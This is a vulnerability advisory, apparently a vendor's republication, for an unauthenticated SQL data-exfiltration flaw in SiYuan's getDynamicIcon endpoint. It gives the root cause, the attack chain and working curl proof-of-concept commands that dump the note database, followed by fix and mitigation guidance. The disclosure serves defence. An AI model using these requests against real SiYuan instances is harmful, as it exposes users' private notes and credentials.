GHSA-gcm7-57gf-953c
MEDIUMSiYuan: Unauthenticated SQLite Data Exfiltration via Template Injection in /api/icon/getDynamicIcon
Blast Radius
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The /api/icon/getDynamicIcon endpoint is explicitly excluded from authentication in SiYuan's kernel router (router.go, "不需要鉴权" -- no auth needed). When called with type=8 and a valid block id parameter, this endpoint invokes RenderDynamicIconContentTemplate, which executes a Go template that includes the querySQL and queryBlocks functions. These functions run arbitrary SELECT statements against the SiYuan SQLite database. An unauthenticated network-adjacent attacker who knows a valid block ID can exfiltrate all user note content, tags, asset references, and block attributes from the database.
Details
Root cause -- kernel/api/router.go, line 37:
// 不需要鉴权
ginServer.Handle("GET", "/api/icon/getDynamicIcon", getDynamicIcon)
Attack chain:
-
getDynamicIcon(kernel/api/icon.go) checkstype=8and callsmodel.RenderDynamicIconContentTemplate(content, id)whencontentcontains.action{. -
RenderDynamicIconContentTemplate(kernel/model/template.go:264) parsescontentas a Go template. The template function map includesquerySQLandqueryBlocksregistered viasql.SQLTemplateFuncs. -
querySQLcallsQuery(stmt, 1024)(kernel/sql/block_query.go) which executes the SQL statement against the SQLite database containing all user notes. -
The SQL result is rendered into the SVG response body and returned to the unauthenticated caller.
Constraint: The block id parameter must be a valid block ID that exists in the database. Block IDs are 22-character strings in the format YYYYMMDDHHMMSS-XXXXXXX (timestamp + 7 alphanumeric chars). Valid IDs are embedded in shared document URLs and can be leaked through any other authenticated endpoint, referrer headers, or browser history.
Tested on SiYuan v3.6.5 (Docker, network-serving mode, access auth code enabled):
GET /api/icon/getDynamicIcon?type=8&content=.action{querySQL+"SELECT+id,content+FROM+blocks+LIMIT+5"}&id=<KNOWN_BLOCK_ID>
Host: siyuan.example.com
(No Authorization header)
Response (SVG with exfiltrated data embedded):
<text ...>[map[id:20260524010447-jc9ypd4 content:test]
map[id:20260524011002-ttaa7lu content:My password is SuperSecret123!]]</text>
The querySQL template function can query any table: blocks (all note content and metadata), spans (tags), assets (asset references), attributes (block attributes), and refs (backlinks).
PoC
TARGET="http://siyuan.example.com:6806"
BLOCK_ID="KNOWN_BLOCK_ID_HERE" # From a shared link or other source
# List all database tables
curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+name+FROM+sqlite_master+WHERE+type%3D%27table%27%22%7D&id=${BLOCK_ID}"
# Dump all note content
curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+id%2Ctype%2Ccontent+FROM+blocks+LIMIT+100%22%7D&id=${BLOCK_ID}"
PoC script: /home/mrrobot/GoogleDrive/vuln-research/siyuan/scripts/poc_getDynamicIcon_sqli.sh
Impact
Any network-reachable SiYuan instance (Docker deployments default to 0.0.0.0:6806) is vulnerable to complete note content exfiltration without authentication, provided the attacker can obtain one valid block ID. Block IDs are leaked in shared document URLs, embedded images referencing block IDs, and browser history. In a networked deployment scenario (e.g., a self-hosted SiYuan accessible from the internet), all personal notes, tags, and metadata are exposed to unauthenticated attackers.
This vulnerability is distinct from previously reported SQL injection issues (GHSA-j7wh-x834-p3r7) which targeted the search API. The getDynamicIcon endpoint was never intended to execute SQL queries but gained this capability through the querySQL template function registered for the icon content template renderer.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | 0.0.0-20260628153353-2d5d72223df4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/siyuan-note/siyuan/kernel to 0.0.0-20260628153353-2d5d72223df4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gcm7-57gf-953c is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gcm7-57gf-953c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gcm7-57gf-953c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gcm7-57gf-953c in your dependencies?
O3 detects GHSA-gcm7-57gf-953c across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.